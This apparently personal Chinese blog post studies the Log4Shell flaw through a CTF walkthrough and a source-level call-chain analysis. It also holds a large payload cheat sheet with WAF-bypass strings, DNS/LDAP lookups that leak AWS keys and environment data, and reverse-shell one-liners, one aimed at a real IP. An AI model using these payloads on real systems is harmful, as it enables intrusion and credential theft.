vlambda博客
学习文章列表

JAVA安全--log4j漏洞研究分析

前言:这个漏洞很火,但是自己一直没咋研究过 算是抽空跟了下,总结了很多师傅的文章 写这篇文章进行记录下自己的学习过程吧

log4j漏洞复现

本地复现


这个很多人写了 可直接参考这个 https://cloud.tencent.com/developer/article/1917856

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;


public class log4jRCE {
    private static final Logger logger = LogManager.getLogger(log4jRCE.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://服务器的地址/TomcatBypass/Command/Base64/Y2FsYw==}");
    }
}

这篇文章里面还缺了一点东西

就是idea生成jar文件的方法

这里一起写出来

①打开模块设置

②选模块JAVA安全--log4j漏洞研究分析

③选好主类以及生成的文件在哪些地方JAVA安全--log4j漏洞研究分析

④选择包含在项目构建中然后点击应用JAVA安全--log4j漏洞研究分析编译生成即可JAVA安全--log4j漏洞研究分析但是对于这个我是失败了的 不知道啥原因JAVA安全--log4j漏洞研究分析

本地编写jar方法

①把java编写为class文件
javac  Exploit.java
②把class编写为jar文件
java -jar Exploit.jar Exploit.class

在线靶场复现

这里以bugku上的靶场为例进行复现

https://ctf.bugku.com/challenges/detail/id/340.htmlJAVA安全--log4j漏洞研究分析环境配置 

①ldap服务


JAVA安全--log4j漏洞研究分析

服务器起一个ldap服务就好了

即直接配置bash反弹shell命令

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84Mi4xNTYuMjI2LjY3Lzk5OTkgMD4mMQ}|{base64,-d}|{bash,-i}" -A "192.168.72.1"

②nc配置(windows的话)

起到获取flag的思路 https://eternallybored.org/misc/netcat/ 下载好后进行监听即可

nc -lvnp 端口JAVA安全--log4j漏洞研究分析

思路1

不反弹shell进行获取flag

user=${jndi:ldap://服务器的ip:1389/TomcatBypass/TomcatEcho}&pwd=69be4a983341add38e2ad1e5c804568a

JAVA安全--log4j漏洞研究分析JAVA安全--log4j漏洞研究分析思路2

进行反弹shell获取

常见反弹shell的思路
①nc ip 12345 -e /bin/sh

②bash -i >& /dev/tcp/启动nc服务器的ip/9999 0>&1
#然后先base64编码然后对编码后的特殊字符进行2层url转码



这台要用第一个命令,题目限定了
payload=${jndi:ldap:1/服务器ip:1389/basic/Command/Base64/二层转码之后的字符}

反弹shell后执行即可

JAVA安全--log4j漏洞研究分析JAVA安全--log4j漏洞研究分析JAVA安全--log4j漏洞研究分析

知识点分析

受影响版本

Apache log4j 2.0-beta9 ≤ 2.14.1 组件

org.apache.logging.log4j,且版本号小于2.15.0-rc2

ldap基础知识以及服务原因

payload总结

参考知识点:来源团队的雪晴师傅的

https://www.yuque.com/yq1ng/java/pbica2#xrVeI

基础payload

${jndi:ldap://t00ls.com/poc

绕过的一些payload

${jndi:ldap://domain.com/j}
${jndi:ldap:/domain.com/a}
${jndi:dns:/domain.com}
${jndi:dns://domain.com/j}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}
${${::-j}ndi:rmi://domain.com/j}
${jndi:rmi://domainldap.com/j}
${${lower:jndi}:${lower:rmi}://domain.com/j}
${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}
${jndi:${lower:l}${lower:d}a${lower:p}://domain.com}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a}
jn${env::-}di:
jn${date:}di${date:':'}
j${k8s:k5:-ND}i${sd:k5:-:}
j${main:\k5:-Nd}i${spring:k5:-:}
j${sys:k5:-nD}${lower:i${web:k5:-:}}
j${::-nD}i${::-:}
j${EnV:K5:-nD}i:
j${loWer:Nd}i${uPper::}

信息泄露(主要是针对不出网的)

${jndi:ldap://${env:user}.domain.com/exp}
${jndi:dns://${hostName}.domain.com/a}
${jndi:dns://${env:COMPUTERNAME}.domain.com/a}
${jndi:dns://${env:USERDOMAIN}.domain.com/a}
${jndi:dns://${env:AWS_SECRET_ACCESS_KEY.domain.com/a}
${jndi:ldap://${ctx:loginId}.domain.com/j}
${jndi:ldap://${map:type}.domain.com/j}
${jndi:ldap://${filename}.domain.com/j}
${jndi:ldap://${date:MM-dd-yyyy}.domain.com/j}
${jndi:ldap://${docker:containerId}.domain.com/j}
${jndi:ldap://${docker:containerName}.domain.com/j}
${jndi:ldap://${docker:imageName}.domain.com/j}
${jndi:ldap://${env:USER}.domain.com/j}
${jndi:ldap://${event:Marker}.domain.com/j}
${jndi:ldap://${mdc:UserId}.domain.com/j}
${jndi:ldap://${java:runtime}.domain.com/j}
${jndi:ldap://${java:vm}.domain.com/j}
${jndi:ldap://${java:os}.domain.com/j}
${jndi:ldap://${jndi:logging/context-name}.domain.com/j}
${jndi:ldap://${hostName}.domain.com/j}
${jndi:ldap://${docker:containerId}.domain.com/j}
${jndi:ldap://${k8s:accountName}.domain.com/j}
${jndi:ldap://${k8s:clusterName}.domain.com/j}
${jndi:ldap://${k8s:containerId}.domain.com/j}
${jndi:ldap://${k8s:containerName}.domain.com/j}
${jndi:ldap://${k8s:host}.domain.com/j}
${jndi:ldap://${k8s:labels.app}.domain.com/j}
${jndi:ldap://${k8s:labels.podTemplateHash}.domain.com/j}
${jndi:ldap://${k8s:masterUrl}.domain.com/j}
${jndi:ldap://${k8s:namespaceId}.domain.com/j}
${jndi:ldap://${k8s:namespaceName}.domain.com/j}
${jndi:ldap://${k8s:podId}.domain.com/j}
${jndi:ldap://${k8s:podIp}.domain.com/j}
${jndi:ldap://${k8s:podName}.domain.com/j}
${jndi:ldap://${k8s:imageId}.domain.com/j}
${jndi:ldap://${k8s:imageName}.domain.com/j}
${jndi:ldap://${log4j:configLocation}.domain.com/j}
${jndi:ldap://${log4j:configParentLocation}.domain.com/j}
${jndi:ldap://${spring:spring.application.name}.domain.com/j}
${jndi:ldap://${main:myString}.domain.com/j}
${jndi:ldap://${main:0}.domain.com/j}
${jndi:ldap://${main:1}.domain.com/j}
${jndi:ldap://${main:2}.domain.com/j}
${jndi:ldap://${main:3}.domain.com/j}
${jndi:ldap://${main:4}.domain.com/j}
${jndi:ldap://${main:bar}.domain.com/j}
${jndi:ldap://${name}.domain.com/j}
${jndi:ldap://${marker}.domain.com/j}
${jndi:ldap://${marker:name}.domain.com/j}
${jndi:ldap://${spring:profiles.active[0].domain.com/j}
${jndi:ldap://${sys:logPath}.domain.com/j}
${jndi:ldap://${web:rootDir}.domain.com/j}

可检查的标头

Accept-Charset
Accept-Datetime
Accept-Encoding
Accept-Language
Authorization
Cache-Control
Cf-Connecting_ip
Client-Ip
Contact
Cookie
DNT
Forwarded
Forwarded-For
Forwarded-For-Ip
Forwarded-Proto
From
If-Modified-Since
Max-Forwards
Origin
Originating-Ip
Pragma
Referer
TE
True-Client-IP
True-Client-Ip
Upgrade
User-Agent
Via
Warning
X-ATT-DeviceId
X-Api-Version
X-Att-Deviceid
X-CSRFToken
X-Client-Ip
X-Correlation-ID
X-Csrf-Token
X-Do-Not-Track
X-Foo
X-Foo-Bar
X-Forward-For
X-Forward-Proto
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-Original
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Proto
X-Forwarded-Protocol
X-Forwarded-Scheme
X-Forwarded-Server
X-Forwarded-Ssl
X-Forwarder-For
X-Frame-Options
X-From
X-Geoip-Country
X-HTTP-Method-Override
X-Http-Destinationurl
X-Http-Host-Override
X-Http-Method
X-Http-Method-Override
X-Http-Path-Override
X-Https
X-Htx-Agent
X-Hub-Signature
X-If-Unmodified-Since
X-Imbo-Test-Config
X-Insight
X-Ip
X-Ip-Trail
X-Leakix
X-Originating-Ip
X-ProxyUser-Ip
X-Real-Ip
X-Remote-Addr
X-Remote-Ip
X-Request-ID
X-Requested-With
X-UIDH
X-Wap-Profile
X-XSRF-TOKEN
Authorization: Basic 
Authorization: Bearer 
Authorization: Oauth 
Authorization: Token

除ldap以外的其他构造方式

jndi:ldap:/
jndi:rmi:/
jndi:ldaps:/
jndi:dns:/
jndi:nis:/
jndi:nds:/
jndi:corba:/
jndi:iiop:/
jndi:${

可获取查找的信息

${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}

一张脑图(有一说一不是很懂这个)

JAVA安全--log4j漏洞研究分析

批量验证工具

log4j批量检测工具

这个是主动检测的

但是自己测了下,发觉测不出东西

但是主动检测的太少了 还是把这个工具扔在这里JAVA安全--log4j漏洞研究分析

原理研究

基础知识点

JNDI全名:

Java命名和目录接口,自己理解就是定义一个名称去绑定对象或者资源进而进行操控

作用:将名称与java对象或资源关联起来,进行通过名称调用到对应的对象或者资源

可操控的目录与服务有:DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、WindowsXP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

运用方法:

如JNDI数据源配置 (使用的原因 只配置一次①加载数据库驱动程序、②连接数据库、④关闭数据库,释放连接,减少性能消耗)

这个师傅讲的比较好了 这里就不讲了

参考链接

JAVA安全--log4j漏洞研究分析
在这里插入图片描述

LDAP(轻量目录访问协议)

LDAP目录服务:由目录数据库和一套访问协议组成的系统。

作用:即存储描述属性的数据和详细信息的数据库。

四种模型:

信息模型
命名模型
功能模型
安全模型

连接LDAP数据库方法:

$ldapconn = ldap_connect(“10.1.8.78")
$ldapbind = ldap_bind($ldapconn, 'username', $ldappass);
$searchRows= ldap_search($ldapconn$basedn, "
(cn=*)");
$searchResult = ldap_get_entries($ldapconn$searchRows);
ldap_close($ldapconn);

lookup:

允许在写日志的时候,通过关键词去查找对象,输出对象,并实现对象功能。这个对象可以存储在硬盘中或者服务器上。

这个漏洞调用的就是这个接口


Codebase

概念:一种服务 作用:存储代码或者编译文件作用,可通过名称进行编译文件或者获取代码。


RMI协议:

概念:远程方法调用协议,通过网络从远程计算机上请求调用某种服务。(只适合java)

原理:

1.客户调用客户端辅助对象stub上的方法
2.客户端辅助对象stub打包调用信息(变量,方法名),通过网络发送给服务端辅助对象skeleton
3.服务端辅助对象skeleton将客户端辅助对象发送来的信息解包,找出真正被调用的方法以及该方法所在对象
4.调用真正服务对象上的真正方法,并将结果返回给服务端辅助对象skeleton
5.服务端辅助对象将结果打包,发送给客户端辅助对象stub
6.客户端辅助对象将返回值解包,返回给调用者
7.客户获得返回值
JAVA安全--log4j漏洞研究分析
在这里插入图片描述

漏洞原理知识点:

加载原理:

通过rmi进行从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类,进而造成RCE漏洞

JAVA安全--log4j漏洞研究分析JAVA安全--log4j漏洞研究分析

详细跟进分析

完整的调用链

lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:223, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config)
log:485, LoggerConfig (org.apache.logging.log4j.core.config)
log:460, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2198, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2152, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2135, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2011, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:8, log4jRCE

这里要重点关注的几个点,其余的点几乎都是调用方法或者是进行过滤操作获取数字等

①这里进行判断了日志等级

如果是小于配置文件的即不能进入 this.logMessage()进行触发漏洞

日志等级 默认只要大于error()和fatal()可以触发漏洞就可以触发漏洞了 具体看配置情况

日志一共分为8个级别,由低到高依次为:All < Trace < Debug < Info < Warn < Error < Fatal < OFF。
1.All:最低等级的,用于打开所有日志记录。
2.Trace:是追踪,就是程序推进以下,你就可以写个trace输出,所以trace应该会特别多,不过没关系,我们可以设置最低日志级别不让他输出。
3.Debug:指出细粒度信息事件对调试应用程序是非常有帮助的。
4.Info:消息在粗粒度级别上突出强调应用程序的运行过程。
5.Warn:输出警告及warn以下级别的日志。
6.Error:输出错误信息日志。
7.Fatal:输出每个严重的错误事件将会导致应用程序的退出的日志。
8.OFF:最高等级的,用于关闭所有日志记录。
JAVA安全--log4j漏洞研究分析
在这里插入图片描述

配置的最低等级的文件数值在org/apache/logging/log4j/spi/StandardLevel.java中

②log:460, LoggerConfig (org.apache.logging.log4j.core.config)这个地方

上面的东西查了下感觉就是线程相关所以可以不看 核心还是log的方法

JAVA安全--log4j漏洞研究分析
在这里插入图片描述

③MessagePatternConverter方法JAVA安全--log4j漏洞研究分析

④跟replace方法

调用substitute方法

JAVA安全--log4j漏洞研究分析
在这里插入图片描述

先调用一个substitute的方法

JAVA安全--log4j漏洞研究分析

然后调用另外一个substitute的重载函数进行处理数据

⑤研究substitute方法 初始化定义的一些变量名

JAVA安全--log4j漏洞研究分析
在这里插入图片描述

采用while循环逐个去寻找前缀这里的前缀定义即是$和{字符 进行前缀匹配

JAVA安全--log4j漏洞研究分析
在这里插入图片描述

寻找后缀唯一区别就是可以理解为一个从前查找一个从后查找

JAVA安全--log4j漏洞研究分析
在这里插入图片描述

然后进行匹配 :- 和 :\

对于这种字符的处理 看一个师傅的说法是 :-

赋值关键字,如果程序处理到 ${aaaa:-bbbb} 这样的字符串,处理的结果将会是 bbbb

:-

是转义的 :-,如果一个用 a:b 表示的键值对的 key a 中包含 :,则需要使用转义来配合处理,例如 ${aaa:\-bbb:-ccc},代表 key 是,aaa:bbb,value 是 ccc。

这也是绕waf的的一些原因

因此结合这些递归解析以及特性我们可以进行绕waf
构造出一些类似于如此的一些payload去绕

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}

JAVA安全--log4j漏洞研究分析
在这里插入图片描述
JAVA安全--log4j漏洞研究分析
在这里插入图片描述

然后在匹配完后调用resolveVariable解析满足 Lookup 功能的语法 也就是这里调用的lookup去产生漏洞的

如支持的协议 即按照协议的语法去进行解析 date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j

这里的作用是

进行执行完lookup,然后将结果替换回原字符串后,再次调用 substitute 方法进行递归解析

JAVA安全--log4j漏洞研究分析

⑥跟lookup方法:产生漏洞的核心原因

JAVA安全--log4j漏洞研究分析

然后接着跟

发觉核心就两部分

①判断前缀部分

②调用执行部分即调用jndiManager.lookup解析请求,最终形成注入漏洞.

在这里插入图片描述